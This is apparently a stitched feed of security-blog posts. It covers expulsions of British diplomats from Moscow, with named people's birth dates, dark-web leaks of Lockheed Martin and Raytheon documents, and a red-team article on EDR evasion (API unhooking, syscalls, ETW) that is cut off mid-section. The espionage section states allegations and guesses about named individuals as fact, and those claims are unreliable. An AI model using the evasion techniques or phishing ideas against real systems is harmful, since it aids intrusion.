Following a wave of intensive expulsions from late 2024 to early 2025, the British Embassy in Moscow suffered a massive vacuum in its intelligence collection and analysis capabilities. Born on January 6, 1996, the then-under-30 Albertus Gerardus Janse van Rensburg was rushed into this brutal battlefield in Moscow as fresh blood.

Van Rensburg officially arrived in Moscow in September 2025 to take up the post of Second Secretary. Compared to the more experienced and complex-background Skinner, the younger van Rensburg represented a new, perhaps more aggressive generation within Britain’s intelligence and diplomatic apparatus. However, the portfolio he inherited was an extremely high-risk and wide-ranging package.

On March 30, 2026, the FSB ended van Rensburg’s brief Moscow career with thunderous force, accusing him of engaging in “serious economic espionage and subversive intelligence activities that gravely threaten Russia’s national security.” Unlike the relatively restrained statement issued during the Skinner incident, Russia this time adopted an extremely public and humiliating media exposure strategy.

Russian intelligence agencies claimed that van Rensburg had attempted, during a series of “informal meetings” in Moscow, to extract sensitive or even classified data on Russia’s macroeconomic situation from local economic experts and industry insiders. To substantiate the accusation, the FSB released extensive video evidence obtained through widespread surveillance, photography, and recording, which was broadcast nationwide and globally on Russian state television (such as Rossiya 24). The footage meticulously documented the British diplomat’s covert activities, completely destroying his diplomatic cover.

Specific documented contacts included:

In October 2025, a meeting in a Moscow café with Oleg Buklemishev, Associate Professor in the Department of Macroeconomic Policy and Strategic Management at Lomonosov Moscow State University.

The following month, contact with Elena Kabysh, an employee of ING Bank and liaison expert with the Russian-American Chamber of Commerce.
In March 2026, he was photographed during an official visit to a research institute of the Russian Academy of Sciences focused on integrated development of mineral resources.

Van Rensburg was frequently seen together with Tabassum Parveen Rashid, First Secretary in the Political Section — whose husband, Michael Skinner, had been expelled in March 2025.

This focus on “economic espionage” charges reveals the central shift in the current UK-Russia intelligence war. Since the Russia-Ukraine conflict became protracted, the Russian government has imposed strict data lockdowns. Core economic indicators — real inflation rates, critical supply chain bottlenecks, financing channels for the military-industrial complex, and the operational mechanisms of the “shadow fleet” used to evade sanctions — have been elevated to the highest level of state secrets. Britain urgently needs to penetrate this digital fog through human intelligence (HUMINT). Van Rensburg’s mission was precisely to identify vulnerabilities in these economic dimensions. His contacts with economic experts were essentially collecting calibration data for London to optimize the next round of maximum economic sanctions, particularly targeting Russia’s energy export networks.

Michael Skinner: The Covert Operator with Deep Sanctions and Tax Investigation Background

In modern counterintelligence practice, a target’s professional history is often the primary indicator for assessing the nature of their mission and the value of their intelligence assets. The FSB’s precise dismantling of Michael Skinner exposed the Russian counterintelligence apparatus’s deep penetration into the backgrounds of British personnel abroad. Skinner was not an ordinary administrative diplomat but a professional intelligence and policy coordination operator with a strong economic warfare background.

According to extensive background tracing and official records, Michael Skinner (born June 30, 1992) was officially listed as the accompanying spouse of Tabassum Parveen Rashid when he was expelled in March 2025. This identity, however, was merely a façade for his real capabilities.

After completing a senior posting in the EU at the end of 2024, Skinner entered Moscow in the low-profile role of “diplomatic spouse.” This arrangement itself carried strong tactical intent. The FSB’s accusation that he was a key component of an “undeclared British intelligence network” was far from baseless. Given his background in handling extreme sanctions policy in the EU and his financial tracking experience at His Majesty’s Revenue and Customs (HMRC), Skinner’s actual strategic function in Moscow was most likely that of an undeclared financial intelligence asset. Using his spouse cover to stay outside formal diplomatic scrutiny, he quietly assessed the real impact of Western joint economic sanctions on the Russian domestic economy, tracked underground financial flows used to evade sanctions, and provided critical on-the-ground assessment data for London’s next phase of economic warfare — particularly precision strikes against Russia’s energy export lifelines.

On March 10, 2025, the FSB took decisive action, announcing the revocation of diplomatic accreditation for both Skinner and Second Secretary Alkesh Odedra (born December 25, 1990), ordering them to leave Russian territory within two weeks.

In the official statement, Russia accused the two British nationals of “deliberately providing false personal background data when applying for entry permission, thus openly violating Russian federal law.” At the same time, authorities claimed to have found “substantial evidence” of their involvement in “reconnaissance and subversive activities threatening the national security of the Russian Federation.”

For observers familiar with counterintelligence legal operations, “providing false visa information” is the most commonly used tactical legal lever by host-country counterintelligence agencies. It usually means Russian intelligence has obtained concrete proof that Skinner concealed his service history with HMRC or intelligence agencies. Through this administrative violation charge, Russia could swiftly sever this intelligence tentacle without immediately triggering a full public espionage trial, thereby avoiding total loss of control over bilateral tensions.

In this incident, the FSB expressed strong outrage at Britain’s “spousal cover” tactic. Russian state media and senior counterintelligence officials anonymously accused London on multiple occasions of “dispatching spy networks disguised as diplomatic spouses, even using young children as cover for espionage activities,” and slammed the behavior as “throwing any remaining diplomatic courtesy to the wind.” Since formally accredited diplomats usually face extremely tight physical and electronic surveillance, intelligence agencies often assign high-value liaison and dead-drop operations to diplomatic family members who are not subject to the same level of monitoring. Skinner was clearly a key node in this cover network. His exposure marked a major setback for Britain’s covert operations architecture in Russia.

Tabassum Parveen Rashid: The Central Hub of the Embassy’s Political Section

Throughout the escalation and evolution of the entire affair, Tabassum Parveen Rashid stood at the absolute center of the storm. As the legitimate spouse of Michael Skinner and holder of the key position of First Secretary in the Political Section of the British Embassy in Moscow, Rashid structurally served as the bridge between official diplomatic cover and covert intelligence operations.

In any major country’s overseas mission, the Political Section is always the most sensitive department after the secret intelligence station. Its core mission is not handling routine bilateral visas or trade contracts, but penetrating the political fabric of the host country. As First Secretary, Rashid’s daily work necessarily involved building and maintaining extensive contacts with mid-level Russian government officials, economic think-tank scholars, remaining opposition forces, and civil society leaders. Through these channels, she was expected to analyze power dynamics within the Russian leadership, undercurrents of social sentiment, and the internal logic of policy formulation, then send high-level political assessments back to Whitehall in London.

Although the FSB surgically removed her husband Skinner during its high-pressure operation in March 2025, Rashid herself appeared to retain her diplomatic immunity for a period thanks to her formal senior diplomat status and continued to perform her duties in Moscow. However, this temporary safety could not hide one fact: she had become a core node under the FSB’s “all-weather surveillance network.”

In this intelligence network, Rashid effectively functioned as the central hub. After her spouse Michael Skinner — the covert intelligence asset — was completely expelled in March 2025, the British Embassy’s local contact network faced the risk of rupture. When the new intelligence collector Albert van Rensburg arrived in Moscow in September 2025, he had to rapidly take over the destroyed operational network. At this point, Rashid played a critical mentoring and guiding role. After frequent contact and joint operations with Rashid, van Rensburg inherited her wide network of Russian targets (especially in the economic expert community). However, this also caused him to quickly fall into the comprehensive surveillance net that the FSB had already cast around Rashid. This high-frequency intersection in both space and responsibilities directly led to van Rensburg’s subsequent exposure.

Escalating Diplomatic Retaliation Cycle and Psychological Deterrence Tactics

To fully assess the profound impact of the incidents involving these three individuals, they must be examined within the context of the “tit-for-tat” diplomatic retaliation cycle between Britain and Russia over the past two years. Viewed in isolation, these are separate actions against spy networks; strung together, they form a complete tactical confrontation panorama on the brink of great-power diplomatic rupture.

The timeline reveals the continuous escalation of the UK-Russia intelligence war. Each expulsion is typically met with retaliatory legal or political measures from the other side. The cases of Skinner and van Rensburg represent the continuation of Russia’s strategy of systematically purging key intelligence personnel from the British Embassy in Moscow.

The starting point of this intense wave of expulsions can be traced to the second half of 2024. In September 2024, Russia publicly accused six British diplomats in Moscow of espionage, revoked their accreditation, and openly declared that British covert activities had become “completely out of control.” Just two months later in November, another British diplomat was expelled for alleged reconnaissance and subversive activities.

The situation deteriorated further in early 2025, with the trigger shifting to British soil. British courts issued guilty verdicts against a spy network operating in the UK on behalf of Russia. The network reportedly consisted of three Bulgarian citizens directed by Jan Marsalek, the fugitive former Wirecard executive and notorious grey-zone financial operator now based in Russia. This judicial ruling delivered a substantial blow to Russian intelligence operations in Europe. In retaliation, Russia launched more targeted removal operations.

Before Skinner’s expulsion, a British Foreign Office spokesperson issued a strongly worded statement on the deterioration of bilateral relations, accusing Russia of conducting an “increasingly aggressive and coordinated campaign of harassment against British diplomats” and claiming that Russian accusations were entirely fabricated. Senior British officials, including high-level diplomats, even summoned the Russian Ambassador in London to state firmly that Britain would not tolerate intimidation of its embassy staff and families. As a countermeasure, Britain immediately revoked the accreditation of one Russian diplomat and their spouse. This chain of confrontations directly paved the way for Michael Skinner’s expulsion in March 2025 and the subsequent explosion of the van Rensburg incident in 2026. British official responses to Russia’s accusations consistently described them as “absolutely unacceptable” and “malicious, groundless fabrications.”

Behind these complex accusations and media battles, the FSB’s fundamental strategic objective has become crystal clear: to impose complete “blindness” and “radioactive isolation” on the British diplomatic system in Russia.

When the FSB issued a naked public warning during van Rensburg’s expulsion — “To avoid negative consequences, including criminal liability, the FSB advises fellow citizens not to hold meetings with British diplomats” — this went far beyond simple counterintelligence and became a state-level social isolation operation. Combined with the Russian Foreign Ministry’s 15-minute stern protest to British Chargé d’Affaires Danae Dholakia, these measures created a powerful chilling effect within Russian society.

Russia’s logic is straightforward: by successively decapitating personnel with professional financial backgrounds (like Skinner) and those with active grassroots contact networks (like van Rensburg), it has directly paralyzed the nerve endings of MI6 and the British Foreign Office in Moscow. At the same time, the public warnings have turned remaining British diplomats such as Rashid into walking “radioactive sources.” Under current Russian domestic legal frameworks, any Russian citizen, economist, or scholar engaging in unofficial contact with them faces extremely high risk of being charged with “treason” or “secret cooperation with foreign organizations.” This strategy has successfully confined British diplomatic personnel within the physical boundaries of the embassy, cutting off all valuable human intelligence channels.

Strategic Implications and Future Trends

A detailed examination and correlation analysis of Michael Skinner, Tabassum Parveen Rashid, and Albertus Gerardus Janse van Rensburg reveals the breakdown of diplomatic cover and intelligence reconnaissance mechanisms in modern great-power competition. This incident is not a sporadic consular friction but a microcosm of the life-and-death strategic contest between Britain and Russia in core interest areas.

From the analysis, it is clear that the diplomatic intelligence battlefield in Russia has undergone a fundamental thematic shift. From Skinner’s sanctions design and tax tracking role to van Rensburg’s attempt to build an economic expert insider network, Britain’s intelligence requirements have converged heavily on Russia’s economic resilience and wartime financial networks. At a time when traditional political penetration has become exceptionally difficult, obtaining the underlying economic logic behind Russia’s sanctions evasion has become the highest-priority intelligence requirement.

However, this series of expulsions also signals that the traditional “semi-public intelligence collection model” under embassy protection has suffered a systematic Waterloo in Moscow. The FSB has not only demonstrated its comprehensive dominance in physical tailing, electronic surveillance, and data mining, but by releasing surveillance footage to public media, it has shown that Russia has completely abandoned any pretense of reciprocal diplomatic courtesy. They are willing to sacrifice surface-level diplomatic etiquette to ruthlessly eliminate potential internal penetration threats, while reinforcing the domestic narrative of a “besieged fortress.”

The British Foreign Office’s accusation that the Russian government is attempting to force the embassy to close entirely through extreme pressure largely reflects the severity of the current situation.

In the future, this shadow war between Britain and Russia will inevitably force a mandatory evolution in intelligence collection methods. Because the cost and risk of conducting HUMINT operations under diplomatic cover have reached an unacceptable threshold, Western intelligence agencies will be compelled to make profound tactical adjustments. The functions of the Moscow embassy will inevitably shrink further, effectively degenerating into a symbolic institution retaining only minimal liaison channels. At the same time, to fill the intelligence vacuum left by the expulsion of figures like van Rensburg, Britain will rely even more heavily on high-tech reconnaissance, significantly increasing resources devoted to signals intelligence (SIGINT) interception, communications network penetration, and open-source geospatial intelligence (GEOINT). More covert and high-risk “deep cover” agent mechanisms, along with remote reconnaissance of Russian economic interest networks from third countries (such as Central Asia, the Middle East, or the Caucasus), will become the new main battlefield of great-power intelligence offense and defense.

In this smoke-free war of attrition, the expulsion of diplomats and sanctions are merely the visible tip of the iceberg. A far larger and more destructive contest is silently spreading into the deep ocean of data chains.

[CONFIDENTIAL] Leak of RFID and Wireless Application Documents from Sanctioned U.S. Arms Manufacturer Lockheed Martin on the Dark Web

Excalibra — Mon, 30 Mar 2026 20:39:59 +0000

Title: [CONFIDENTIAL] Leak of RFID and Wireless Application Documents from Sanctioned U.S. Arms Manufacturer Lockheed Martin on the Dark Web

A threat actor has claimed to be selling a document belonging to U.S. defense industry contractor Lockheed Martin. The file is a confidential technical and project report supplied by GlobeRanger to Lockheed Martin. Its core content revolves around the RFID edge software solution and deployment outcomes developed by GlobeRanger for the U.S. Department of Defense. The document covers the technical architecture of the iMotion platform, system integration schemes, detailed interfacing with existing Department of Defense systems, as well as undisclosed project performance metrics including Department of Defense warehouse operational data, cost-saving statistics, equipment deployment quantities, and related information.

Specific Leaked Content (Partial Samples):

The following are example samples of the partially leaked data:

1.1. Sample Data

1.2. Sample Data

1.3. Sample Data

1.4. Sample Data

Disclaimer:

The programs, technical methods, and content contained herein are intended solely for lawful and compliant security research and educational scenarios, with the explicit objective of enhancing cybersecurity defense capabilities and possessing clear attributes of technical research.

Any entity or individual who, without authorization, utilizes the content of this article for attacks, sabotage, or other illegal purposes shall bear full legal liability, civil compensation, and joint-and-several liability independently. This site assumes no vicarious liability whatsoever.

All content on this site is published for the purposes of technical exchange and knowledge sharing.

[Confidential] U.S. Raytheon Cybersecurity Job Recruitment Documents Exposed to The Dark Web

Excalibra — Mon, 30 Mar 2026 19:38:22 +0000

[CONFIDENTIAL] Exposure of Raytheon Cybersecurity Executive Position Recruitment Document on the Dark Web, Involving Foundational Cooperation on Classified Projects within the U.S. Intelligence Apparatus

Article Summary:

On January 25, 2026, the threat actor “jrintel” leaked a confidential PDF document concerning the Vice President of Cybersecurity position at Raytheon, a major U.S. defense contractor, via a dark web forum. Although the document consists of only one page, it contains critical metadata including organizational structure, security strategy priorities, technology stack, and personnel access permissions. By precisely probing intelligence related to high-level security decision-makers, attackers can map internal core networks, orchestrate targeted phishing campaigns, or execute supply-chain attacks. This incident highlights the converging trend between cybercrime and espionage activities, serving as a stark warning that enterprises must subject unstructured documents to equally stringent data leakage prevention controls.

Article Categories: Threat Intelligence, Vulnerability Analysis, Data Security, Security Operations, Social Engineering

Dark Web Auction of a Defense Giant's Confidential Position Brief: Why a Single Recruitment Document Has Become Attackers’ “Treasure Trove”?

A job description for the Vice President of Cybersecurity, explicitly marked “CONFIDENTIAL,” is now being openly priced and traded on dark web forums. Its value extends far beyond a few lines of position requirements.

On January 25, a user named “jrintel” posted a brief message on a dark web forum. There was no sensational title, no claim of massive data volume—only a seemingly innocuous statement: “A specialized PDF job brief for the Vice President of Cybersecurity prepared for a client.”

Attached to the post were multiple Telegram channel links demanding “support for my leak activities,” a Session ID, and a hidden download address. The named client was Raytheon, the U.S. defense and aerospace behemoth.

To the average observer, this “position brief” might appear to be nothing more than a routine human resources document. Why, then, was it specifically stolen and “solemnly” released on the dark web in this manner? As attackers shift their focus from databases to internal documents, a more covert and strategically valuable pattern of espionage is emerging.

01 Event Overview: Atypical Leak with Strategic Targeting

Unlike typical data breaches involving gigabytes or millions of records, this incident appears remarkably “restrained” on the surface.

According to the threat actor “jrintel,” the leaked material consists solely of “1 PDF,” categorized as file data, and pertains to a specific senior position at Raytheon—the “Vice President of Cybersecurity” brief or briefing document.

The defining characteristic of this leak lies not in its breadth or volume, but in its extreme precision and depth. **Rather than dumping massive employee datasets or product blueprints, the attacker deliberately selected a descriptive document concerning a **core security management role.

jrintel labeled the document “CONFIDENTIAL” and aggressively directed users to join multiple Telegram channels to obtain the file and “support the leak.” This operational pattern aligns with the actor’s established “professionalized” profile.

While the incident might easily be dismissed as the leak of an “insignificant job posting,” analysis of the actor’s background and the nature of the target reveals a clear strategic intent: the attacker’s intelligence collection has transitioned from large-scale data scraping to a new phase of high-value, precision targeting.

02 The Leaked Subject: Striking at the Nerve Center of a Defense Giant

To appreciate the value of a position brief, one must first understand Raytheon’s significance.

Raytheon (now part of Raytheon Technologies) constitutes a foundational pillar of the U.S. and global defense industry. Its portfolio spans Patriot missile systems, military radars, space sensors, and cybersecurity solutions. It is not merely a weapons manufacturer but a critical node in the U.S. national security architecture.

In this context, the “Vice President of Cybersecurity” is far from an ordinary corporate executive role. This position likely serves as the chief architect and manager of Raytheon’s entire digital defense ecosystem, with responsibilities potentially encompassing:

Protection of classified weapons development data tied to national security;
Defense against nation-state cyber attacks targeting critical defense infrastructure (e.g., military-industrial production networks);
Oversight of the company’s vast system of classified information access permissions.

Consequently, a confidential brief prepared “for a client” concerning this position almost certainly exceeds a standard job description (JD). It likely includes:

Classified Organizational Structure: Disclosure of internal reporting lines, branch configurations, and collaboration interfaces with sensitive departments (e.g., directed-energy weapons divisions or space and airborne systems units).
Security Strategy Priorities: Revelation of the threat domains Raytheon currently views as most critical, priority defense investment areas, and future security planning.
Technology Stack and Vendor Information: Enumeration of core security technologies under management, specific defense-grade security products in use, and cooperating suppliers—providing attackers with a precise roadmap for subsequent supply-chain attacks.
Personnel Requirements and Background: Specifications regarding required security clearance levels (e.g., particular government security clearances) and domain expertise, indirectly reflecting the classification level and business scope accessible to the role.

By choosing this document as the inaugural leak targeting Raytheon, jrintel’s intent is evident:** the first objective is to expose the “guardian’s” hand.** Understanding who leads security and how defense will be structured often holds greater forward-looking offensive value than stealing raw data itself.

03 Potential Impact: “Association Keys” and Attack Blueprints within the Position Brief

A senior executive position brief functions as a highly condensed “information aggregator.” While it does not directly contain passwords or design schematics, the scattered “association keys” it contains are sufficient for professional intelligence analysts or attack groups to assemble an operationally valuable blueprint.

Based on the general characteristics of such documents, the following risk dimensions can be analyzed:

Potential Information Field	Interpretation of Field Meaning	Possible Associations and Risks
Reporting Lines and Collaborating Departments	Specifies to whom the position reports and which internal departments (e.g., “Directed Energy Weapons Division,” “Space and Airborne Systems Division”) it closely interfaces with.	🔑 Localization of Key Personnel and Systems: Enables construction of an internal core personnel network graph centered on the Vice President of Cybersecurity, furnishing a high-value target list for social engineering attacks or targeted penetration.
Budget and Resource Jurisdiction	References the scale of security budget managed, team size, or number of Security Operations Centers (SOCs) overseen.	💰 Assessment of Defense Scale and Weak Points: Indirectly gauges the company’s investment in cybersecurity and the potential scale of its defense architecture, aiding attackers in cost-benefit analysis and identification of under-resourced薄弱环节.
Required Security Clearance Level	For example, “TS/SCI with Polygraph” (Top Secret/Sensitive Compartmented Information with polygraph).	📍 Mapping of Classification Levels: Directly demonstrates that the position and its overseen operations involve the highest tiers of U.S. national secrets. This elevates the document’s intrinsic intelligence value and implies the criticality of systems accessible via the role.
Specific Technical or Standards Requirements	Such as familiarity with “NIST SP 800-171” (Protecting Controlled Unclassified Information on Non-Federal Systems) or “JSIG” (Joint Security Implementation Guide).	⚙️ Inference of Technology Stack and Compliance Frameworks: Assists attackers in deducing the precise security compliance standards and likely technical solutions deployed internally, facilitating discovery of known vulnerabilities or configuration weaknesses.
Crisis Management Responsibility Description	References responsibility for responding to “nation-state APT attacks” or “major data breach incidents.”	🎯 Insight into Threat Perception and Response Plans: Reveals the types of attackers Raytheon officially regards as most threatening and the pre-set emergency scenarios, allowing adversaries to adapt tactics, evade detection, or design more sophisticated attack chains targeting response procedures.

Even more dangerous is “data aggregation.” jrintel is not an isolated actor. Historical records indicate sustained trafficking of government, defense, and intelligence data from multiple countries. Once this Raytheon position information is cross-referenced and correlated with other datasets in the actor’s possession (e.g., Raytheon employee emails, internal directories, or partner information obtained through other channels), the resulting “chemical reaction” will be devastating.

Attackers could:

Conduct precision spear-phishing by impersonating headhunters or internal HR, sending “detailed position descriptions” or “interview schedules” laced with malicious payloads to prospective candidates;
Map attack paths by leveraging organizational structure to simulate penetration routes from peripheral networks to core classified systems;
Identify and target potential candidates or team members for bribery or coercion, combining the data with other personal information for tailored operations.

04 Deep Reflection: When Metadata Is More Dangerous Than the Data Itself

The Raytheon position brief leak strikes a distinctive alarm. It compels a fundamental re-examination of the definitional boundaries of “sensitive data.”

In conventional understanding, core secrets equate to design blueprints, source code, or personnel rosters. This incident demonstrates that meta-information about “how secrets are protected”—the architecture of security teams, strategies, the scope of authority and vision of responsible personnel—itself constitutes one of the highest-value secrets. It is analogous to two opposing armies where one side’s deployment map and commander intelligence have been stolen.

The emergence of threat actors such as jrintel signals an intensification of the fusion between cybercrime and cyber-espionage.** They combine the profit-driven nature** of criminals (monetizing through channel operations and data sales) with the strategic foresight of spies (persistently targeting defense and governmental assets). Their presence disseminates high-end intelligence collection—previously largely confined to state actors—into a more widespread and commercialized form, dramatically lowering the threshold for launching advanced cyber attacks against critical infrastructure.

For defense contractors such as Raytheon, and indeed all organizations handling sensitive operations, this event poses a sharp question: Has our security governance of unstructured documents and internal process files been enforced with the same rigor as that applied to core databases? Are HR communications with headhunters, internal meeting minutes, and position descriptions fully incorporated into the monitoring scope of Data Loss Prevention (DLP) systems?

All content on this site is published for the purposes of technical exchange and knowledge sharing.

EDR/XDR Bypass and Detection Evasion Techniques: An Investigation of Advanced Evasion Strategies from a Red Team Perspective

Excalibra — Fri, 27 Mar 2026 07:55:49 +0000

Article Summary:

This document provides an in-depth analysis of EDR/XDR evasion techniques from a red team perspective, covering core strategies such as API unhooking, BOF-based in-memory execution, indirect system calls, and bypassing ETW and kernel callbacks. It elaborates on the underlying mechanisms, practical case studies, and the respective advantages and limitations of each technique. The article also highlights the constraints of traditional attack methods within modern, closed-loop defense systems. Furthermore, it emphasizes that all technical research must strictly adhere to legal authorization and compliance frameworks, with the objective of validating defensive effectiveness through adversarial exercises and promoting iterative improvements in security products.

1. Introduction: Red Team Challenges in EDR/XDR Environments

With the iterative advancement of cybersecurity defense architectures, Endpoint Detection and Response (EDR) and Extended Detection and Response (XDR) technologies have become central pillars of enterprise security frameworks. For red team operations, traditional attack techniques are now facing an unprecedented risk of failure when confronted with modern, closed-loop defensive systems. This chapter aims to provide an in-depth analysis of the current technical state of EDR/XDR, their core detection mechanisms, and the constraints they impose on the cyber kill chain. At the same time, it seeks to clearly delineate the legal and compliance boundaries of relevant technical research, ensuring that all analysis and practice are oriented toward enhancing defensive capabilities and supporting authorized testing scenarios.

1.1 Current State of EDR/XDR Technology Development and Key Threats

Since its inception, Endpoint Detection and Response (EDR) technology has evolved from basic signature-based antivirus scanning into a comprehensive security platform capable of real-time monitoring, behavioral analysis, and automated response. According to 2025 industry security posture statistics, more than 75% of mid- to large-sized enterprises worldwide have deployed EDR solutions, with the adoption rate approaching 90% in critical infrastructure sectors. Driven by the widespread adoption of cloud-native architectures and remote work models, EDR has further evolved into XDR, which integrates multi-dimensional telemetry from endpoints, networks, cloud workloads, identity systems, and more, enabling cross-domain threat correlation and analysis. This architectural shift marks a fundamental transition in defensive systems — from isolated point defense to ecosystem-wide coordinated protection.

The core detection capabilities of modern EDR/XDR platforms are primarily built upon the following three technical pillars:

Kernel-level Behavioral Monitoring

Leveraging operating system kernel callbacks and Event Tracing for Windows (ETW), these systems perform real-time monitoring of process creation, memory allocation, handle operations, network connections, and related activities. For example, when confronting process injection techniques, modern defenses do not merely observe the final execution behavior; they also conduct correlated analysis across preparatory stages such as memory allocation (e.g., VirtualAllocEx) and memory writing (e.g., WriteProcessMemory).
Memory and Code Integrity Analysis

By scanning process memory regions, detecting anomalous modifications to code sections, and verifying digital signatures, these systems identify fileless attacks and reflective DLL injection. For script-based attacks (particularly PowerShell), features such as Script Block Logging and the Antimalware Scan Interface (AMSI) are enabled, allowing obfuscated malicious code to be detected at the precise moment it is decrypted in memory.
Intelligent Threat Hunting and Cross-Layer Correlation

Advanced XDR systems integrate artificial intelligence and machine learning models to conduct anomaly clustering analysis on time-series telemetry data. State-of-the-art platforms can leverage recurrent neural network architectures such as Long Short-Term Memory (LSTM) to detect the subtle periodic patterns characteristic of command-and-control (C2) heartbeat communications. Furthermore, by employing taint propagation tracking and constructing cross-protocol data-flow graphs, these systems are capable of identifying information aggregation points within multi-hop proxy chains.

Under the aforementioned defensive architecture, the survival space available to traditional attack chains has been dramatically compressed. Techniques long favored by red teams—such as PowerShell-based scripts, Mimikatz credential-dumping utilities, and classic process injection via CreateRemoteThread—now exhibit detection rates exceeding 85% in modern EDR environments. The root cause of this phenomenon lies in the formation of a comprehensive “detection closed loop”: virtually any anomalous behavior executed by an attacker generates telemetry that, once uploaded and correlated in the cloud, enables not only immediate blocking of the ongoing attack but also continuous enrichment of behavioral and indicator databases to defend against future variants.

More specifically, process injection is primarily detected by modern EDR solutions through monitoring of execution primitives. Research indicates that while memory allocation and write operations in isolation may not always trigger immediate prevention, the invocation of an execution primitive (such as thread creation in a remote process) prompts the system to retroactively correlate preceding memory write behaviors and render a high-confidence judgment. Concurrently, the hardening of the Antimalware Scan Interface (AMSI) ensures that script-based attacks must pass inspection prior to execution; any attempt to bypass AMSI—such as in-memory patching—itself becomes a high-severity behavioral indicator. This depth of behavioral monitoring compels red teams to shift from reliance on straightforward “tool exploitation” toward fundamental principle-based evasion techniques, including:

Direct system calls (Direct Syscalls) to bypass user-mode API hooking,
Abuse of legitimate system components such as thread pools to achieve execution without triggering conventional detection heuristics.

However, as defenders increasingly monitor anomalous sequences of system calls and non-typical usage patterns of legitimate components, the adversarial contest has entered a phase of intelligent, machine-assisted competition.

1.2 Definition Boundaries of Evasion Techniques and Compliance Statement

In the field of cybersecurity research, discussions of EDR evasion techniques must be strictly confined within the boundaries of legal authorization and ethical norms. All detection evasion techniques, principle analyses, and validation methods presented in this report are intended solely for authorized penetration testing, red team exercises, and validation of defensive system effectiveness. They are strictly prohibited from being used in any form of unauthorized intrusion, data theft, or disruption of computer information systems.

Legal Boundaries and Compliance Framework

Pursuant to relevant provisions of the Cybersecurity Law's, the unauthorized use of technical means to intrude into another party's network or interfere with the normal operation of a system constitutes a serious criminal offense. Accordingly, any application of evasion techniques must adhere to the following compliance principles:

Explicit Authorization

All testing activities must be based on written authorization letters that clearly delineate the scope of testing, time window, target systems, and permitted technical methods. Such authorization documents must be signed by the owner of the target system or their legally authorized representative.
Minimization of Impact

During testing, the principle of minimal impact shall be observed to avoid disruption to business continuity. The use of attack payloads that may cause system crashes, data loss, or service interruption is strictly prohibited.
Data Protection

Any sensitive data (such as credentials or user information) obtained during testing shall be used exclusively to demonstrate the existence of vulnerabilities. Upon completion of testing, such data must be immediately destroyed or handed over to the authorizing party; retention or disclosure is forbidden.

Distinction Between Authorized Red Teaming and Illegal Attacks

While authorized red team operations and illegal attacks may employ similar technical methods, their fundamental difference lies in purpose and procedural legitimacy. Referring to NIST SP 800-115 Technical Guide to Information Security Testing and Assessment, legitimate security testing should encompass a complete lifecycle management process:

Preparation Phase: Execution of non-disclosure agreements (NDAs) and formal authorization letters; definition of Rules of Engagement (RoE).
Execution Phase: Testing conducted under supervision to ensure traceability and controllability.
Reporting Phase: Production of detailed technical reports containing remediation recommendations to assist the client in strengthening defensive capabilities.

Illustrative Compliance Use Cases

To ensure the legitimacy of technical research, the following two typical compliant application scenarios are provided:

Case 1: Internal Defensive Validation

The security team of a financial institution simulated an APT attack chain in an isolated test environment to validate the effectiveness of a newly deployed EDR policy. Testers employed modified evasion techniques to attempt bypassing endpoint protections with the objective of identifying defensive blind spots. The entire process was conducted within an internal network sandbox with no involvement of real user data. Upon conclusion, hardening recommendations were immediately produced and EDR rules adjusted. This scenario represents a classic example of defensive research and fully complies with regulatory requirements.

Case 2: Vendor Security Assessment

Following formal authorization from the client, a third-party security company conducted a red team assessment of the client’s corporate network. Upon discovering that the EDR could be bypassed via a specific thread-pool abuse technique, the testers immediately ceased exploitation, preserved log evidence, and notified the vendor through a responsible vulnerability disclosure process. The objective was to drive improvement in the vendor’s detection logic rather than to exploit the weakness for malicious purposes.

Academic Value and Ethical Responsibility of Technical Research

This study conducts an in-depth analysis of EDR evasion techniques with the aim of exposing potential weaknesses in current defensive architectures, driving security vendors to optimize detection algorithms, and promoting a virtuous cycle of “attack-informed defense.” Security practitioners must consistently maintain a strong sense of ethical responsibility, strictly adhere to industry standards, promptly disclose vulnerabilities to vendors (in accordance with CVE/CVSS standards), and contribute to the establishment of responsible vulnerability disclosure mechanisms.

Future adversarial contests will no longer consist merely of signature-based confrontations but will evolve into comprehensive intelligent competition and ecosystem-wide penetration. Only by ensuring that technical development remains firmly within legal and compliant boundaries can a truly high-resilience cybersecurity defense system be constructed. Any attempt to cross legal boundaries not only invites legal sanctions but also undermines the foundational trust of the entire security industry.

2. Core Evasion Technique Principles and Implementations

In modern endpoint security defense architectures, EDR (Endpoint Detection and Response) and AV (Antivirus) solutions have largely moved beyond reliance on signature-based matching and now employ deep defense mechanisms centered on behavioral monitoring, memory scanning, and kernel callbacks. To evade such detection, attackers have developed a range of low-level bypass techniques.

This section provides a detailed examination — across five principal dimensions — of the technical principles, implementation logic, and real-world adversarial effectiveness of the following techniques:

API Unhooking
BOF (Beacon Object File) in-memory execution
Indirect / direct system calls
ETW (Event Tracing for Windows) evasion
Kernel callback evasion

2.1 API Unhooking: Underlying Mechanisms for Bypassing Endpoint Detection

One of the core user-mode monitoring techniques employed by EDR products is API hooking. By inserting jump instructions (JMP) at the entry points of critical system DLLs (such as ntdll.dll and kernel32.dll), EDR solutions intercept application system calls, analyze parameters and calling context, and thereby identify malicious behavior. For example, when a malicious program invokes NtCreateProcessEx, the call flow is redirected to an EDR-injected DLL for behavioral analysis and judgment.

2.1.1 Hooking Principles and Detection Logic

Typical user-mode hooking techniques include Inline Hooking and Import Address Table (IAT) Hooking. Inline Hooking directly modifies the function prologue bytes by overwriting them with a jump instruction pointing to monitoring code. IAT Hooking modifies entries in the import address table. After the EDR driver loads, it injects a monitoring DLL into the target process address space and uses one or both of these techniques to take control of key APIs.

Under this architecture, any direct system call that bypasses EDR inspection is likely to be flagged as anomalous. Consequently, restoring the original, unmodified code of hooked APIs (Unhooking) has become a critical technique for evading user-mode monitoring.

2.1.2 Unhooking Implementation Logic and Technical Variants

The primary objective of API Unhooking is to restore modified function code to its original state as it exists on disk. Three main technical variants are commonly employed to achieve this goal:

Memory-Scanning-Based Unhooking

This approach compares the in-memory code section of a loaded DLL against its on-disk original file (or a known clean version). If the function prologue in memory contains a JMP instruction that deviates from the disk image, it is identified as hooked. Implementation typically involves reading the corresponding ntdll.dll from disk, locating the function offset, and copying the pristine bytes back into memory. While conceptually straightforward, this method is easily detectable by EDR memory integrity checks.
Dynamic Restoration via Process Injection

A clean system process (e.g., explorer.exe or svchost.exe) is used as a reference source. The attacker opens a handle to this process, reads the unhooked ntdll.dll code section from its memory space, and writes it into the corresponding memory locations of the currently monitored process. This technique circumvents inconsistencies arising from disk file versioning or patching, but it requires elevated privileges for cross-process memory operations.
Debug API–Based or Custom PE Loader Unhooking

